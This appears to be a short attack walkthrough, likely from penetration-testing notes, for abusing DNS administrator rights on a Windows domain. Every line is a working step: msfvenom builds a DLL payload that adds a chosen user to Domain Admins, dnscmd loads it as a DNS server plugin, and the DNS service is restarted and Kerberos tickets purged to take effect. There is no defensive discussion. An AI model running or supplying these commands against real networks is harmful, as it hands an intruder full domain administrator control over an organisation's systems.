Generate a DLL payload:
msfvenom -p windows/x64/exec cmd='net group "Domain Admins" <user> /add /domain' -f dll -o dnsplugin.dll
Transfer the DLL to a path the DNS server can read.
Configure the plugin DLL with dnscmd:
dnscmd.exe /config /serverlevelplugindll C:\Users\Public\dnsplugin.dll
Confirm the registry value:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll
Restart DNS only if explicitly allowed:
sc stop DNS
sc start DNS
Confirm group membership:
net group "Domain Admins" /domain
Refresh tickets or create a fresh session:
klist purge
If the user cannot restart DNS, the payload will not execute until the DNS service restarts.